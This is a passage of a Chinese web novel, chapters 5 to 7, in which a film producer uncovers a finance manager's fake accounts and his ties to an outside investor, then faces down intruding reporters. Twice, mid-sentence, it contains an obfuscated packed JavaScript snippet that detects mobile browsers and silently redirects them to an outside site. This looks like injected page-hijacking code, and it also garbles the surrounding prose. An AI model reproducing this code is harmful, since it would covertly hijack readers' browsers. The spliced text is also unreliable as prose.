“程制片，感觉怎么样？她会投吗？” 程今轻轻点头：“大概率稳了。只要我们不出差错，资金就能及时到位。” 众人一听，顿时松了口气。几天以来压在心头的那团阴云仿佛终于散去，一位灯光组的助理甚至兴奋地说：“太好了，终于不用每天提心吊胆了，剧组气氛也能回正轨了。” 程今却没有太多表情，只淡淡提醒：“别松懈。越是关键时刻，越容易有人钻空子。舆论可能还会翻，工作一定要保质保量，不能出任何纰漏。” 她语气不疾不徐，却让在场每个人都重新收敛起笑意，神情一凛，纷纷点头应声。 热闹的片场重新有了正轨秩序，情绪被调动起来，但程今的心却始终拎着一根线——老方的事，得尽快收网了。 当晚，片场收工后，程今打算搭车送杨学宁和段林一同回公司。她站在外侧通话，正吩咐唐夕加快宣发节奏，持续放大正面花絮。说话间，余光忽然扫见老方鬼鬼祟祟地从侧门绕出，神情慌张，刻意避开人群。 她心中一凛，立刻结束通话，快步跟了上去。 在片场背后的昏暗小巷转角处，那人正背对着她打电话，语气低而急：“你要我再等等？可程制片已经快把钱补足了……行，我尽量拖住……嗯，我知道了。” 话未说完，他仿佛察觉动静，猛然回头——程今站在几步之外，目光沉沉。 四目相对，他脸色瞬间煞白：“程、程制片……” 程今神色平静，语调不带起伏：“在跟谁讲电话？” 老方额头开始冒汗，嘴角勉强扯出笑：“没、没人……家里有点事。” 她没说话，只是看着他。那目光太过安静，反而让人不寒而栗。 几秒后，她淡淡开口：“行，那你先回去吧。” 老方如蒙大赦，连连点头，快步逃离了巷口。程今站在原地，听着他逐渐远去的脚步声，心跳如擂，却脸色如常。此刻，她已无需再多证据——对方确实有鬼。 夜色沉沉，街灯投下她笔直的身影，清晰、孤绝。 她缓缓握紧手机，脑海里飞快地盘算下一步。资金已基本稳住，接下来，是时候清理内部隐患了。 就在这时，手机震动。 一条匿名短信弹出屏幕： 【恭喜，你又熬过一关。可你真以为，这就是结局？ 游戏才刚开始。】 程今盯着那行字，心头一阵寒意，却并不慌乱。她默默删去短信，抬头望向远处闪烁的城市灯火，神色冷静，眼底倔强愈燃愈烈。 既然要玩，那就玩到底。 5. 第 5 章 入夜，片场收工。余下工作人员正收拾道具，灯光一盏盏熄灭，城市霓虹在棚外投下斑驳光影。 程今缓步走出场地，脑中却反复回放着傍晚巷道里的那一幕——财务主管神色慌张地挂断电话，像是被人撞破了秘密。她没有当场拆穿，只因时机未到。 正走神间，导演杨学宁的声音从一旁响起：“程制片，明天那场群戏得增加不少临时演员和武行，是不是得加点预算？” 她回过神，语气平稳：“别急，明早先核对预算，确认每一项开支的来源。如果不够，我再想办法补。” 说着，她低头滑动手机，边回复公关、财务和助理的消息，安排第二天的行程，神色不改。 导演看她眉心微蹙，忍不住追问：“你是不是发现了什么？” 程今抿了抿唇，只淡淡回应：“没有。只是该多留点心。”随后顿住脚步，对他点头示意，“你先回去，别想太多，安心拍戏。” 导演自知问不出更多，只得点头离开。程今目送他背影远去，沉思片刻，随手打开手机查看剧组最新的资金走向。 她很快注意到一个细节：财务部最近几天开始反复报销一些小额款项，金额不高，却异常频繁，显得格外扎眼。 翌日清晨，拍摄如常进行。 沈宴穿着风衣站在场景中，与对手演员对戏。神色凌厉，动作干净利落，每一次挥拳、转身都恰到好处，导演和摄影组在监视器前频频点头。 一场打戏结束，他额头沁汗，走出镜头区，拿起毛巾随意擦了把脸。远处的程今正与副导演核对清单，低头调度下一场拍摄，神情专注，眉心紧锁，似乎对现场的热闹毫无感知。 沈宴看着她，心里不由得一紧。她这些天几乎没有停过，状态明显疲惫，却依然把所有事情压在肩上。 他走过去，语气轻松地问：“要我帮忙吗？比如多拍点宣传花絮，压一压那些负面舆论？” 程今合上文件夹，抬眸看他一眼，语气疲惫却依旧清醒：“你通告都排满了，别为了花絮耽误正片质量。” 沈宴耸肩，半开玩笑：“我当然知道轻重。不过我在想，要不干脆搞个幕后纪实，把剧组拍摄日常做成短片发出去？透明度高了，大家自然更愿意相信这项目是认真的。” 程今顿了顿，认真思索后点头：“是个好思路。观众对警匪片的幕后向来感兴趣，适当曝光能减缓舆论压力，也能增加互动热度。” “我这就去找导演和助理聊聊，看怎么推进。”沈宴嘴角一扬，说完便快步离开。 程今望着他的背影，轻轻吐出一口气，唇角微微一动。 虽然沈宴不是那种流量爆棚的顶流，但胜在稳。懂分寸，知进退，关键时刻也能补位，从不给她添麻烦。甚至，偶尔还能让她松一口气。 中午时分，一辆陌生商务车驶入片场外的停车区。程今刚收到场务通知，说有人找她。 她走到门口，发现来人竟是前期曾一度放出“撤资”风声的小资方代表——秦洛。几周前对方摇摆不定，如今却突然登门。 秦洛下车，脸上挂着客套的笑：“程制片，别来无恙啊。” 程今面无表情地与他握手，语气平淡：“怎么突然来了？” “听说你这边情况好转，我就想看看还有没有合作空间。”秦洛说得轻描淡写，边走边打量片场，一路左顾右盼，“哟，这街景搭得不错，钱花得挺见效。” 程今看了他一眼，语气不动声色：“你说的合作方，是你，还是别人？” 秦洛笑得意味深长：“这事儿不急，我先转转，看完再说。” 程今没接话，只微微蹙眉，却也没把人轰走。她清楚，这样的人虽然让人厌烦，但短期内仍算一张备选的牌。她只需握得住，局势便还能多几分回旋余地。 当秦洛在片场四下张望时，沈宴正拍摄一场潜入敌营的动作戏，需要在近身搏斗后迅速撤退。导演喊“卡”后，他满头大汗地走到监视器前查看回放，目光落在其中一个动作细节上。 “这条我可以再来一遍。”他主动开口。 导演愣了一下，随即露出笑意：“好，你真敬业。” 程今恰巧听见这句话，脚步微顿，心里默默给沈宴加了一分：这人对戏的投入，确实超出不少同行。这也是她当初坚持选他做男主的原因。 “程制片！”一名工作人员快步走来，低声道：“秦洛先生突然跑到摄影机边，说要看拍摄效果。助理拦了好几次，他非说自己是投资方。” 程今眉头一蹙：“还没投就开始指手画脚？”她扫了眼现场，“行，我来。” 她快步走到监视器旁，只见秦洛正对导演指手画脚，说什么“角色得更帅气”“场景不够震撼”，一副自认为金主的姿态。导演面露难色，却碍于身份只能忍着。 程今当即上前，语气客气却冷得利落：“秦先生，这里是拍摄现场。未经过允许，请不要靠近核心设备，以免影响进度。” 秦洛回头，语气带着玩笑：“哎，你这话说得太生分了，我这不是好心来帮忙看着点嘛？” 程今挡在监视器前，语调不疾不徐：“要考察项目，我们可以另约时间详谈。但在拍摄期间，请配合现场秩序。” 她的眼神一如既往地沉静，却不容置喙。秦洛原本还想说点什么，最终却被她这份冷静强硬压住了火气，只得耸肩，悻悻走开。 导演悄悄朝她投来一个感激的眼神，随后耳麦里传来指令：“全体就位，再来一条！” 拍摄重归正轨，程今站在原地看了一会儿，才缓缓松了口气。她很清楚，如果放任资本干涉创作，这部戏才是真的要完。 拍摄暂告一段落，已是下午四点。沈宴换下戏服，坐在休息区喝水，余光扫到秦洛还在片场四处闲逛，不由皱眉，朝程今问道：“这人谁啊？看他在那儿指东画西的，戏比我还多。” 程今语气平静：“一个小资本代表，前段时间还在犹豫投不投，现在不知道又打什么主意。” 沈宴想起刚才他在监视器旁搅局的一幕，语气压低几分：“希望他不是冲着控场来的，打算在你头上指挥。” 程今唇角微微一勾，笑意不达眼底：“他还没那个本事。” 说着，她不自觉瞥了一眼不远处的财务主管——老方正站在道具车边，眼神飘忽，似乎心不在焉，整个人像踩在薄冰上，随时准备逃开。 沈宴察觉到她的目光，顺着看过去，却没多问。他感觉到片场气氛里涌动着些不明暗流，却知程今不会轻易透露，便只是将疑问暂藏心底。 这时，秦洛似乎逛得无趣，忽然朝程今招了招手：“程制片，能单独聊聊吗？” 程今淡淡扫了他一眼，又看了沈宴一眼，轻轻颔首，跟着秦洛走向一处相对安静的角落。 “程制片，我刚才绕了片场一圈，你们团队确实挺拼的。”秦洛笑得意味不明，“但想出爆款嘛，还差点东西。比如更吸眼球的新人流量，再比如……激进点的营销方式。” 程今不动声色：“我们已有完整宣发方案和卡司配置，不需要再引入额外的流量明星。” 秦洛摊手：“可现在的大环境就是这样，你不贴流量，后续投资怎么安心？更何况——你不是也正和某些人较劲吗？要抗住压力，总得有足够的筹码。我可以带来资金，条件是……” 他凑近一步，语气压低，带着一点私密意味：“让我有更多创作话语权，安排几个新人角色进组，适当调整下剧情。怎么样？” 程今脑中“嗡”地一声。她最忌讳的，就是有人借投资之名插手创作，尤其临时塞人、硬改剧情，无异于毁项目根基。她盯着对方，面无表情地问：“你想动的，具体是多大范围？” 秦洛笑了笑，没正面回答，显然不打算留情：“你要是不同意也没关系，我只是提醒你——别等被对手一步步逼死了才后悔。听说你们内部最近也挺乱的？这局面要是拖下去，可不是一笔投资就能补救的。” “内部动荡”四个字，仿佛一把钝刀，在程今耳边划过。她心头一沉——对方显然知道剧组有内鬼。或许他早就跟幕后势力有联系，只是这次换了种方式来敲门。 她当即冷声回应：“秦先生，如果你只是想趁机捞一笔，那你找错人了。” 说完，转身就走，步伐干脆利落。秦洛没拦，只在她身后慢条斯理地补了一句：“别太快拒绝我。等你想明白了——我还在。” 程今指尖收紧，强压下心头的厌意。她心里清楚：不管外面是什么风暴，她都绝不能把这个项目交给这样的人摆布。 傍晚，程今让制片助理先安排人将秦洛送走，自己则留在片场确认第二天的拍摄安排，逐一收尾。正准备离开时，她忽然瞥见一幕异样：财务主管独自躲在一处偏僻角落，正低声讲电话，神情焦灼，语气急切。 她隐约听到他重复着—— “我没法再拖了……他们已经找到新的资方了……” 话未说完，对方忽然察觉有人靠近，猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359144|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收声，回头一看，正撞上程今的目光，整个人像被电击般僵住。 程今神色如常，语气平静：“怎么还没走？都这么晚了。” “啊……我、我在处理一笔账务。”他慌乱地把手机塞进口袋，声音发颤，“我这就回公司加班。” 程今眼神从他颈侧滑到他揣手机的手，缓缓点了点头：“行。明早把这几天的对账单带过来，我要一份详细的交代。” “好、好的。”对方语无伦次地点头，几乎是落荒而逃。 她站在原地，看着他背影仓皇离去，目光一点点冷了下去，唇角缓缓勾起一抹淡淡的冷笑。 ——局面，已经逼近摊牌的前夜。 她心中已有定论：财务主管与秦洛，甚至更深的幕后势力，很可能早有勾连。信息被泄露、预算被操控、流程被拖延……种种迹象，都指向了一个清晰的方向。 只差临门一脚。 夜里十点，程今回到办公楼，准备连夜做一轮深度财务排查。刚进电梯，没想到竟碰上了沈宴。他也拎着东西过来，一只手提着小型摄像机，另一手抱着电脑包。 “你怎么还没回去？”她有些意外。 沈宴朝她扬了扬手里的东西，语气轻松：“从导演那儿借了点幕后素材，想剪几个预告片段，拿给你看看。我来公司找个机房，能安静剪辑。” 程今心里微微一动。这男主虽然话不多，却总默默补位——台前演戏，幕后也不含糊，从来不是只演自己的那种演员。她点了下头：“正好，我也要处理财务文档。你缺设备可以找技术部，他们会配合。” 两人一前一后走进办公室区。夜晚的楼层冷清安静，只有零星几盏灯亮着。脚步声在地板上轻微回响，像深夜里不动声色的并肩。 走到分岔路口前，沈宴忽然回头，看着她：“你最近看起来……很累。要不要我帮点什么？” 程今停了下，嘴角勾起一丝淡淡的笑：“谢谢。你把预告片做好，就是对我最好的帮忙了。” 沈宴“嗯”了一声，没有再追问。他只是点点头，随后走进机房，动作干脆利落。 灯光将他身影拉得修长。他背对她坐下，打开设备，投入工作——就像一路以来，他始终如此：不喧哗、不越界，却总在她最需要的地方，沉默地并肩。 午夜将至，办公室只剩下程今一人。灯光斜斜照落，她的影子被拉得细长，孤独又坚定。她坐在屏幕前，逐条对照财务系统的日志，耐心核查近几周的资金流动。终于，在某个时间段，她发现了一笔小额重复走账，金额不算惊人，却格外可疑。 她将这笔账与早前“项目断资”的传言比对，某些时间与金额细节高度吻合。那段时间里，财务主管故意虚报支出，制造“资金告急”的假象，逼迫外界质疑剧组的持续性。 翻到最底层的一份加密旧文档时，她看到了一组邮件往来：财务主管与某“第三方代理”私下勾连，邮件里写得明明白白，两人联手制造负面舆论，试图逼她失去控场力，从而被迫向某家资本“低头”。而那家资本……是秦洛，还是另有其人？ 程今盯着屏幕，胸口微微发闷，却没有慌乱。证据终于到手，心头那根悬了许久的弦忽然变得清晰而锐利。她缓缓吐出一口气，轻声自语：“明天，就收网。” 正当她打算整理文件时，门外传来一阵脚步声，随后又安静下来。她警觉地起身，轻步走到门边，从门缝往外看，只见财务主管正慌乱地探头探脑，随后匆匆离去——显然察觉到什么，试图探查她查到哪里了。 程今收紧目光，将所有关键资料打包进U盘，关灯离开办公室。明天，她会调动监制、法务、公关同时发力，彻底撕破最后一层伪装，把那颗蛀虫挖出来。 正准备下楼，电梯口处的灯影下，有个身影安静站着。是沈宴。他刚从剪辑室出来，手里还拎着电脑包，眼神里藏着一丝轻松后的疲惫，也有一分探究。 “你怎么一脸杀气？”他轻声问。 程今挑眉，语气淡淡：“没事。明天估计会有点动静，你只管拍好戏。” 沈宴看她几秒，没有多问，只点了点头：“好。需要我帮忙，你说话。” 电梯门合上，两人并肩下楼，夜色如墨，楼层寂静。他站在她身边，沉默又笃定。 走出大楼时，冷风扑面而来。程今拢了拢外套，抬手拦车。手机依旧震动不止，跳出几条匿名短信，她瞥都没瞥，手指一滑——全部删除。 一切，都将有个了断。 6. 第 6 章 天还没亮，程今就已离开了家。她驾车直奔公司，脑中一遍遍推演今天可能发生的各种局面。 财务主管与神秘幕后势力联手，接连制造负面舆论和资金动荡；而她手中已握有财务作假与泄密的实证，只差一个当面对质的时机。她很清楚，这绝不只是个人行为，背后或许还牵扯着秦洛，甚至是其他意图染指项目的资本方。 抵达公司时，时针刚指向早上七点半。整栋大楼还笼在清冷的晨雾里，保洁员推着清扫车缓慢巡过走廊，只有零星几位同事在打卡进门。 程今刷卡进入顶楼会议室，先将文件与证据一一摊开，分类整理在长桌上。她深吸一口气，随即拨通律师与法务代表的电话，语气沉稳地交代：“做好准备，今天可能会有突发处理，随时进组。” 挂断电话后，她望着仍然空白的短信和来电界面，心中冷静盘算：昨晚他们已经察觉我在追查，今天必然会出手试图挽救局面。很好——就看他们还能玩出什么花样。 果不其然，上午十点左右，公关经理唐夕神色紧张地冲进会议室：“程制片，网上又出黑贴了！说我们‘制片方涉嫌作假账、骗投资’，还有人影射咱们用电影洗钱……” 她递上手机界面，几条爆款帖博主言之凿凿，语气煽动，配图配数据，极具迷惑性。转发量节节攀升，甚至有蓝V媒体跟进转载，声称要“深挖影视圈黑幕”。 程今翻了几眼，面色平静如水：“他们动作倒是快。” 她合上手机，对公关经理低声吩咐：“别慌，也别急着澄清。官方账号暂不回应，一字不发。先把所有帖子截图、存档、备份。” 唐夕咬牙：“可他们现在不点名，只暗指某制片方财务黑箱，这种手段太阴了！” “正因为不点名，才好办。”程今语调冷静，眼中却透出锋利的光，“我们也别急着跳出来。等他们再越线一步，我就把证据摆出来，直接告。” 她挥了挥手，示意对方先去稳定团队舆情，随后拿起桌上的文件，拨通导演与监制的电话，语气利落：“下午开个临时会议，把剧组核心都叫上。我这边准备收网了。” 对方既然放狠招，那她就一次性拆穿到底。 接着，程今赶往片场。导演杨学宁接到电话后便匆匆从拍摄区抽身，只留下副导演段林继续组织场务调度。 她刚走进化妆区，便看见沈宴坐在不远处的遮阳伞下，低头翻着剧本，眉头紧锁，神情凝重。 见她靠近，他合上剧本起身，第一句话便切入正题：“我看到新一波黑料了。你打算怎么应对？需要我做什么？” 程今语调平稳，却带着不容置疑的坚定：“暂时不需要你出面。晚些我会在公司开个内部会议，有需要的话，我会让段林通知你。” 沈宴看着她的神情，心里微动。她没有慌张，甚至比以往更沉着冷静。他意识到——她一定已经握住了某个关键点。 “好，”他点头，语气低沉却笃定，“你放手去做。剧组这边我盯着，尽量稳住演员和工作人员情绪，别被消息牵着走。” 程今对他点了点头，刚转身离开，身后却忽然传来他的一句低声： “……加油。” 语气克制，不甚响亮，却仿佛一道温柔的支点，抵住她心底那片被风浪撕扯得最紧的角落。 她脚步微顿，没回头，只淡淡应了一声：“嗯。” 下午两点，程今回到公司。核心团队陆续抵达会议室，导演、监制、公关经理、财务主管、宣传负责人等十余人围坐一圈。气氛凝重，众人神情不安，等待她宣布那场“紧急通告”。 财务主管老方坐在靠门的位子，面色僵硬，不停搓手，整个人像被扔进了油锅，焦躁不安。程今扫了他一眼，心知对方今晚必然准备了大动作。要么先发制人，反咬她一口；要么装无辜，把锅甩得干干净净。 果然，会议刚一开场，他便急不可耐地开口： “程制片，我想先说件事！”他清了清喉咙，语气强撑镇定，“最近网上关于财务黑箱的流言……我担心我们账目可能确实存在些出入。为了防止事态扩大，我建议我们先主动向投资方公开账务，给他们一个交代。” 话听着像是为公司着想，实则暗藏刀锋：若账务公开，他便能借机将责任推给她——“制片报错账”或“主导资金分配失误”，一切轻轻一撇，自己干干净净。 监制闻言神色一紧，下意识看向程今：“程制片……那些传言，是真的么？” 会议室一时间陷入短暂静默，空气像被拉紧的弦。 程今看着众人，神色沉静，眼神却如刀锋般锐利：“账目可以公开，但在那之前，请先听完我这边的调查结论。” 她不疾不徐地抬手，示意公关经理唐夕将准备好的资料分发下去。 “这是我们公司内部的财务记录，与近期对外披露信息的对照表。”她语气平稳，字字铿锵，“请大家尤其关注——其中哪些异常记录，是财务部亲手经办的？” 资料一页页传下去，纸张翻动声在安静的会议室里显得格外刺耳。 财务主管老方手指发抖地翻着文件，脸色肉眼可见地变白。每一条异常——重复报销、虚增支出、隐藏资金去向……都标注了时间、金额、对应操作人。 他的额头开始冒汗，其他人也纷纷皱起眉头，惊讶与不安逐渐在会议室蔓延开来。 程今没有急着追问，只缓缓开口：“这份资料里每一个数字，都是你签字通过的。如果有误，我也欢迎你在会议上澄清。” 她的声音不高，却压得人喘不过气来。 老方张了张口，喉咙发紧，一个字都说不出来。 当资料分发完毕，会议室里已陷入死寂。 导演杨学宁低头看着那一页页记录，额头冒出细汗：“这是怎么回事？谁干的？” 程今神色平静，从桌上拿起一叠打印件，语气却毫不留情：“这些假账的录入账号，全部指向财务主管的工作ID。而且，我还查到他与外界某家公关代理公司的邮件往来，邮件内容多次提及项目资金紧张、团队分裂等关键词，暗示要放料给媒体。” 她顿了顿，目光如刀，直直落在那人身上：“目的是什么，我相信，他比我们所有人都更清楚。” 那一刻，会议室的目光齐刷刷地聚焦过去。 老方额头已经布满豆大的冷汗，连站起身的动作都显得踉跄。他张口想反驳，却只发出一阵干哑喘息。 程今淡声：“你既然提议公开账务，那就如你所愿。我已经请了律师和法务团队在外等候。若你觉得这份材料是诬陷，欢迎你当面与他们对质。” 空气骤然沉得可怕。 老方的嘴唇颤了颤，像是被逼到墙角的困兽，挣扎着开口：“我……是被逼的……他们说可以帮我还债，给我钱……我不是想害项目……” 话未说完，监制重重一拍桌子，声音震耳：“你就是为了点钱，差点毁掉整个项目？” 杨学宁脸涨得通红，一拍桌子，怒不可遏地吼道：“怪不得那些谣言一个比一个准，连我们私下开会提过的话都能流出去，你是把会议纪要当八卦稿卖了吗？！” 他声音发颤，眼圈都红了，“上百号人跟着程制片撑到现在，你一句被逼的就想撇清？你怎么对得起这剧组？又怎么对得起她？” 所有人神情愤怒，有人紧握拳头，有人低声咒骂。 而程今没有再多说一个字，只垂眸合上文件，这一切她早已预料，只等今天收网。 老方开始发抖，似乎还想多说什么，却因某种恐惧而不断咽口水，嗓音哑得几乎听不见。程今缓缓合上手中的资料，眼神冷锐如刀：“你最好一次说清楚，背后到底是谁在操控。否则——我们只能报警处理。” 老方咬牙僵持片刻，终于像是彻底崩溃般瘫回椅子：“我只能说……跟秦洛有关。还有……还有可能涉及更大的资本方。具体是谁，我真不知道！” 他语无伦次，“我只是听命行事，定期泄露拍摄数据，配合拖延进度、制造内部矛盾……他们说，只要你撑不下去，就得转向他们的投资集团，到时候他们就能掌控项目。” 众人恍然：原来这就是对方的逼宫手段，一旦资金链断裂，程今就只能被迫接受对家资本的入局，而他们则借机插手创作、夺权控场。财务主管，不过是他们安插的一枚钉子，被钱和压力驱使，便走到如今这步。 导演气得脸都青了：“混账！这还怎么拍下去？” 程今一把按住他手臂，语气低沉却镇定：“先别急。” 她转头看向老方：“既然你开了口，就把所有往来记录都交出来。只要配合调查，公司可以考虑内部处理。否则，法务和警方，都会介入。” 对方早已慌不择路，手忙脚乱地掏出手机和U盘，哆哆嗦嗦递上来：“都、都在这儿……我求你们，别送我进去……”声音颤抖，带着悔意和惧意交织的颓然。 会议眼看要结束，助理小孙突然推门而入，神色慌张：“程姐，片场出事了！刚才有好几个记者，还有不明身份的人闯进棚里，说是来取证财务黑幕。副导演拦不住，他们正围着沈宴和其他演员大吵大闹！” 程今心头猛地一沉——对方的后手终于落下了。 先放黑料、再派人混入片场取“独家猛料”，一步步诱导舆论失控。如果这波闹剧被拍下并传到网上，《暗潮》怕是连翻盘的机会都没了。 她几乎是立刻起身，语气冷硬果断：“导演、监制留下来处理财务和法务后续，我去片场。” 话音刚落，她已抱起文件夹冲出会议室，公关经理唐夕也连忙抓起手机跟在后头。 程今一路疾驰赶到片场，远远便看到场务正死死拦在门口，几位“自媒体记者”高举手机，对着摄影棚狂拍，嘴里念念有词：“内部有人爆料账目造假！公众有知情权！” 真正的娱乐记者也闻风而至，挤在最前排，麦克风几乎伸进棚门：“程制片，你是否陷入财务黑箱风波？能不能正面回应一下？” 而此时，沈宴正站在场景布置中央，身着便装，神色冷峻。他挡在副导演段林前方，沉声开口：“这里是拍摄现场，请你们不要扰乱工作秩序。”语气并不高，却带着天生的不容置疑。 段林早已被人群逼得节节后退，脸色发白。沈宴侧身稳住他，目光冷然看向记者群：“如果你们再不退出，我只能报警。” 就在此时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359145|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程今抵达。她稳步上前，抬手做了个“暂停”的手势，示意段林镇定。 她面向记者，语气沉稳而克制：“我们目前暂无对外发布计划，采访也请走正规流程。这样硬闯拍摄棚，是侵犯剧组工作权利，若再不退出，我们将依法维权。” “装什么清高！”一名带头的自媒体人冷笑，“你财务丑闻都爆了，还想掩盖？让我们进去取证！” “取证？”程今看着他，眼神瞬间转冷，“请出示执法机关许可，法院文书或警方通告。你有吗？” 对方一时语塞，神情闪躲。 另一名情绪激动的记者挥舞手机，强硬喊道：“你逃不掉！公众有监督权！” 这时，唐夕快步上前，将人群往外劝离：“请保持基本礼节！我们可以安排在外简要说明，但剧组内不对媒体开放，未经许可，禁止入内！” 混乱中，程今站在棚前，整个人如定海神针，令躁动人群稍有迟疑。她深吸一口气，语调冷静却铿锵：“今天你们强闯剧组，已构成扰乱公共秩序。我会保留追责权利。如果真有疑问——我们可以法庭见。” 就在双方僵持之际，门外忽然传来一阵斩钉截铁的声音：“让一让，让一让。”几秒后，一道干练身影挤入人群。 赵敏，一身挺括西装，神情凌厉，身后跟着两位助理。她亮出通行证，步伐果决，语气毫不客气：“听说有人闯剧组搞破坏？” 记者们面面相觑，有人低声道：“她是临川基金的人……那个赵敏？” “你谁啊？”有个自媒体人还在硬撑。 赵敏冷冷扫了他一眼，声音并不高，却字字铿锵：“我是《暗潮》的主要投资方之一，赵敏。这部剧有没有问题，我们比谁都清楚。你们要是想碰瓷，最好先掂量一下代价。” 她微微上前一步，视线如利刃掠过几个举着设备的人，语气依旧平静，却压得人喘不过气：“没有授权、没有采访函，就敢硬闯拍摄现场，还自称取证？你们真把自媒体当成护身符了？” 她顿了顿，冷笑一声：“真要追究，这种非法闯入和恶意扰乱剧组秩序，我们有足够的法律依据起诉到底。到时候，不光账号没了，职业生涯也可能一并打包送走。” 话落，全场死寂。 她站在那里，连发火都不屑，光是一个“投资人”的身份，就足以压得所有人噤若寒蝉。 程今见状，神色一松，站到她身侧，对外坦然发声：“既然各位记者这么着急要真相，那我现在可以给出明确回应，项目财务问题已查清，涉事人员已被控制。稍后，我们会通过官方账号和律师团队发布正式声明。” “如果你们继续未经授权闯入拍摄区域，我们将依法处理。现在，请离开。” 话音一落，公关经理唐夕带着保安正式介入，场务也迅速将拍摄棚入口封锁。几位情绪激动的自媒体还想挣扎，被赵敏冷眼一扫，也悻悻作罢。 沈宴站在人群不远处，没有出声，身形却稳如磐石。他什么都没说，但一站在那里，就像一道无形的屏障，替剧组挡去了部分质疑。 十几分钟后，闹剧散去。棚外一地狼藉，场务们收拾着摔倒的三脚架和灯架，气氛仍有些压抑。 “别慌。”程今看向剧组众人，语调平稳，“我们已经掌握了所有证据。法务团队和声明正在路上。大家继续各自工作，今天的拍摄照常进行，不受影响。” 她转身，走向赵敏，低声道：“你来的正巧。原本不该你亲自掺这一脚。” 赵敏挑了挑眉，淡笑道：“我还以为会更混乱。你控制得不错，说明项目没倒，也说明你没倒。” 她顿了顿，又意味深长地看了程今一眼：“只要真金不怕火炼，再多暗流，也得自己绊自己。” 程今会意地颔首，“放心，我们已经走到了收网的阶段。财务问题解决，下一步该是反击。” 赵敏满意点头：“临川会配合你把话语权拿回来。既然我们投了，那就一起打赢这场仗。” 唐夕和段林见状，也赶紧围过来确认接下来的对外策略。 远处，沈宴静静看着这一幕，眼神里多了几分沉思与……难以察觉的温热。 程今依旧是那个不动如山的制片人，风暴中稳住节奏，甚至能反手把敌人的一招，变成她的转机。 他突然明白了一个问题：他喜欢上的，或许不是那个在片场指点自己表演的女人。而是那个可以独自撑住一整个项目、却仍愿意与人并肩作战的她。 晚间，片场渐渐散去。 程今与赵敏作别，坐进自己的商务车。夜色低垂，城市的灯火在车窗外一盏盏掠过。她低头翻开手机，一条推送跳了出来： 《暗潮》官方声明：内部查明财务违规，涉案人员已交由法务处理，更多细节将由律师团队公布。 她看了一眼，唇角轻轻一挑，随即合上屏幕。 内鬼已现，黑贴成了笑话。若对方还藏着更大的牌，她也已布好局，等他们自投罗网。 可她明白，这还只是刚刚开始。秦洛只是前哨，真正的风暴，还藏在更深处。 她按下车窗，看着万家灯火在夜色中晃动而过。指尖有风拂过，像是提醒，也像是邀战。 7. 第 7 章 棚内最后一盏顶灯熄灭时，已是凌晨两点。 片场归于寂静，只有天边那一抹微亮预示着清晨即将到来。程今独自坐在临时办公室内，靠窗的位置，目光穿过灰蒙蒙的玻璃，落在尚未完全清理的拍摄场景上。 几小时前，他们刚拍完一场巷战戏。地面仍残留着被洒出的假血与未撤的木板，几名美术组成员靠着椅背打着盹，身上还穿着没来得及换下的工服。疲惫像一层厚重的雾，笼罩着整个棚区。 程今却没有多少放松的余地。虽然前阵子刚查出财务主管与外部勾结的证据，勉强稳住了项目的资金流，但她知道，这不过是第一关。 她合上手边一份会议记录，指尖轻轻敲着桌面。脑中还回响着白天导演在会议上突如其来的提议——要追加一场巷战潜伏戏，紧急补拍，用于制作宣传花絮，配合预告片释放节奏。 理由合理，压力也合理。宣传窗口已迫在眉睫，稍有错过，整条发行节奏都将被打乱。 可她心里明白，剧组其实已近极限。人困马乏，预算紧张，情绪也在边缘试探。 她低头看了一眼手机屏幕，跳动的行程提醒仍在闪烁。没有哪一个时刻比现在更容易崩塌，也没有哪一个时刻比现在更需要她站稳。 再撑一口气，她默默在心底告诉自己，否则此前的投入都会被暗流吞噬。 上午十点，程今刚从公司赶回片场。手上还握着刚批完的一份合同，她步伐不停，就被导演杨学宁急匆匆地叫进临时会议室。 杨学宁正对着新绘制的分镜图来回踱步，脸上写满了兴奋与纠结：“我昨晚跟编剧脑爆到凌晨，觉得在中段插一场潜伏对峙戏能把男主的张力推到一个新层次。但问题是……这意味着新增布景、调光设计，还有动作场面，预算肯定要上调。” 程今没让他绕弯，直接打断：“你只管说，具体想怎么拍？” 导演立刻将情绪收回来，语速加快地解释：“我们想搭一个封闭的街巷环境，光线压低到极限，沈宴以帮派身份混迹在黑暗中，所有行为都游走在道德边界。那一瞬间观众分不清他是警察还是罪犯，就对他有了真正的投入。” 她翻着手里的几页分镜图，笔迹凌乱但思路清晰，显然是团队熬夜赶出的成果。构图里光影交错、空间逼仄，的确具备强烈的情绪张力。 她没有立刻回应，而是低头飞快地发出几条指令，联系制片助理刘倩先做出两版预算模型，并调取搭景部门的排期空档。随后看向导演，语气依旧沉稳： “只要预算在控制范围内，我会想办法压缩流程，把这场戏拍出来。但你要把握节奏，别一时情绪上头，拍到一半又觉得要推翻。” 杨学宁松了口气，举起分镜在空中晃了晃：“放心，我清楚这场戏的分量，也清楚你的底线。别管外面那些乱七八糟的声音，咱们最后靠的是成片。” 程今没有回应他那句“外面那些声音”，只是点点头，目光重新落在那张分镜图上，眼底神色沉了几分。 她不是没看到网上关于她的新一轮攻击，也不是不清楚这次提案背后潜藏的隐患——时间、预算、情绪、节奏，稍有不慎都可能成为被攻击的切口。 但她不能让创作停下。 临近傍晚，程今走进刚搭好一半的巷道场景。 